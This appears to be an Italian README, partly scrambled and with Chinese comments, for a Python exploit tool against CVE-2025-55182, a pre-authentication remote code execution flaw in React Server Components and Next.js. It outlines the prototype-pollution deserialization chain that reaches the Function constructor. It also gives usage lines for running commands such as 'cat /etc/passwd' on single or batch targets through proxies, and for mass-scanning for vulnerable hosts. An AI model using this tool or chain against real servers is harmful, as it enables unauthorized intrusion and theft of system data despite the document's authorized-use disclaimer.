
Esecuzione remota di codice pre-autenticazione in React Server Components / Next.js
| Attributo | Valore |
|---|---|
| CVE ID | CVE-2025-55182 |
| CVSS | 10.0 (Critico) |
| CWE | CWE-502: Deserializzazione di dati non attendibili |
| Tipo | Pre-Auth RCE |
| Componente | Versioni interessate |
|---|---|
| React | 19.0.0, 19.1.0, 19.1.1, 19.2.0 |
| Next.js | 15.0.0 ~ 15.0.4, 15.1.0 ~ 15.1.8, 15.2.x ~ 15.5.6, 16.0.0 ~ 16.0.6 |
| Pacchetti correlati | react-server-dom-webpack, react-server-dom-turbopack, react-server-dom-parcel |
Questa vulnerabilità sfrutta un difetto di deserializzazione nel protocollo Flight di React Server Components (RSC), consentendo l'esecuzione remota di codice senza autenticazione tramite la costruzione di richieste multipart/form-data malevole. La catena di exploit completa è la seguente:
POST multipart/form-data con l'header di richiesta Next-Action$1:__proto__:then accede a Chunk.prototype.then sull'oggetto dello Chunk 1 in stato PENDING, rendendolo un thenable$1:constructor:constructor viene risolto nel costruttore Function attraverso la catena dei prototipiChunk.prototype.then invoca initializeModelChunk per analizzare il campo value '{"then":"$B0"}'$B0 invoca _formData.get(_prefix + "0"), ovvero Function(code + "0")pip install requests[socks]
Se mancano le dipendenze, lo script tenta automaticamente di installare
requestsePySocks.
python CVE-2025-55182.py -u http://target:3000 -c "id"
python CVE-2025-55182.py -f targets.txt -c "cat /etc/passwd" -o results.txt
python CVE-2025-55182.py -u http://target:3000 --check
python CVE-2025-55182.py -f targets.txt --check -o vuln_hosts.txt
# HTTP 代理
python CVE-2025-55182.py -u http://target:3000 -c "whoami" --proxy http://127.0.0.1:8080
# SOCKS5 代理
python CVE-2025-55182.py -f targets.txt -c "id" --proxy socks5://127.0.0.1:1080
python CVE-2025-55182.py -u http://target:3000 -c "id" -v
I risultati della scansione in batch vengono scritti nel file di output specificato da -o; vengono registrati solo gli obiettivi confermati come vulnerabili.
http://192.168.1.10:3000
https://app.example.com
http://10.0.0.5:3000/dashboard
# 注释行会被忽略
Questo strumento è destinato esclusivamente a test di sicurezza autorizzati e a scopi di ricerca sulla sicurezza. L'utente deve assicurarsi di aver ottenuto l'autorizzazione esplicita del proprietario del sistema di destinazione. Eseguire test di penetrazione su sistemi senza autorizzazione costituisce un illecito; l'utente si assume ogni responsabilità legale.
then, viene considerato un thenable e chiamato, innescando l'esecuzione del codice e ottenendo l'RCE| Parametro | Descrizione | Valore predefinito |
|---|
-u, --url | URL di un singolo obiettivo (mutualmente esclusivo con -f) | - |
-f, --file | File contenente l'elenco di URL degli obiettivi, uno per riga (mutualmente esclusivo con -u) | - |
-c, --command | Comando di sistema da eseguire (non richiesto in modalità --check) | - |
-o, --output | File di output dei risultati | results.txt |
-t, --threads | Numero di thread concorrenti | 10 |
-v, --verbose | Mostra l'output di debug | False |
--proxy | Indirizzo del proxy; supporta HTTP e SOCKS5 | - |
--timeout | Timeout delle richieste (secondi) | 15 |
--check | Rileva solo la vulnerabilità, senza eseguire comandi di sistema | False |
--verify-ssl | Verifica i certificati TLS | False |